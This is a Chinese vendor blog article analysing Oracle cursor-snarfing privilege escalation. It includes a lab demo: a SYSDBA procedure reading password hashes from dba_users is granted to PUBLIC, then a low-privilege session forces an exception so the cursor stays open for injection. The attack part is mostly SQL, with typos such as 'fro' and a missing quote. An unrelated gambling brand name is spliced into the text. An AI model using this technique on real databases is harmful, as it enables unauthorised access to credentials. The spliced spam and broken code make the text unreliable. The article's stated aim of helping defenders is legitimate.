数据库游标概念的引入,使数据库操作更加灵活,但同时也为黑客入侵提供了便利。安华金和k8凯发游戏攻防实验室(dbsec labs)以oracle游标为主要分析对象,基于其应用原理剖析游标可能带来的数据库安全隐患及安全措施,希望帮助用户提前部署防护手段。
我们将oracle游标的安全问题分为三类:
1、缺乏异常处理,挂起的游标被恶意利用
2、oracle游标漏洞提权
3、oracle游标设计本身的安全隐患
本文先对第一种安全威胁进行说明:
游标将数据库中相应的信息存入内存块中,当用户打开游标的时候,可以直接访问游标指向的内存块中存放的信息,而无需再访问基表获得数据。如果一个高权限用户建立一个游标却没关闭该游标,低权限用户就有可能获得游标中存储的关键信息,或向打开的游标中注入恶意语句,进行高权限运行,达到提权或越权访问的目的。这就是游标snarf提权的基础。
游标不正常关闭基本是人为造成的,高权限用户忘记关闭,或者游标所在的子程序缺乏异常处理机制。如果没有做相应的异常处理,黑客很有可能制造异常,使游标被一直挂起,利用未关闭的游标,注入恶意代码。再利用游标自身的高权限执行恶意代码,进行越权或者非法提权操作。
下面试验用例由安华金和数据库安全实验室提供:
sql> connect / as sysdba
已连接。
sql> create or replace procedure schina_test(p_user varchar) is
2 cursor_name integer;
3 password varchar2(30);
4 i integer;
5 begin
6 cursor_name := dbms_sql.open_cursor;
7 dbms_output.put_line('cursor:'||cursor_name);
8 dbms_sql.parse(cursor_name,'select password from
9 sys.dba_users where username=:schina',dbms_sql.native);
10 dbms_sql.bind_variable(cursor_name,:schina',p_user);
11 dbms_sql.define_column(cursor_name,1,password,30);
12 i:=dbms_sql.execute(cursor_name);
13 if password = '01234567890abcdef' then
14 dbms_output.put_line('your password hash is not ok');
15 else
16 dbms_output.put_line('your password hash is ok');
17 end if;
18 dbms_sql.close_cursor(cursor_name);
19 end;
20 /
至此pl/sql 过程已成功完成。
sql> grant execute on schina_test to public;
授权成功。
schina_test 是一个缺乏异常处理代码的存储过程,它的作用是对为用户找到其密码hash值,然后和固定hash值进行比较并返回结果。open_cursor打开游标直到close_cursor或sql会话终止游标退出。由于缺乏异常代码机制,用任意低权限账号执行这个存储过程,可以触发异常挂起游标。
sql> connect scott/tiger
已连接。
sql> set serveroutput on
sql> declare
2 x varchar(40000);
3 i integer;
4 begin
5 fro i in 1..10000 loop
6 x:='b'||x;
7 end loop;
8 sys. schina_test (x);
9 end;
10 /
cursor 3241423
通过向p_user中输入一个过长的x,系统返回ora-01460错误。由于存储过程schina_test中没有对异常进行处理,虽然存储过程中关闭游标了,但由于发生异常,导致游标被挂起,同时并未真正关闭。可以对未关闭的游标注入恶意语句,以达到所需要的效果。
恶意代码注入是三大k8凯发游戏问题之一,也是攻击者常用的技术手段,通过对oracle游标带来的安全隐患分析,能够让用户在预知风险的情况下提前部署相应的防护措施,如数据库防火墙,可以对此类注入攻击进行实时的拦截和阻断。
试用申请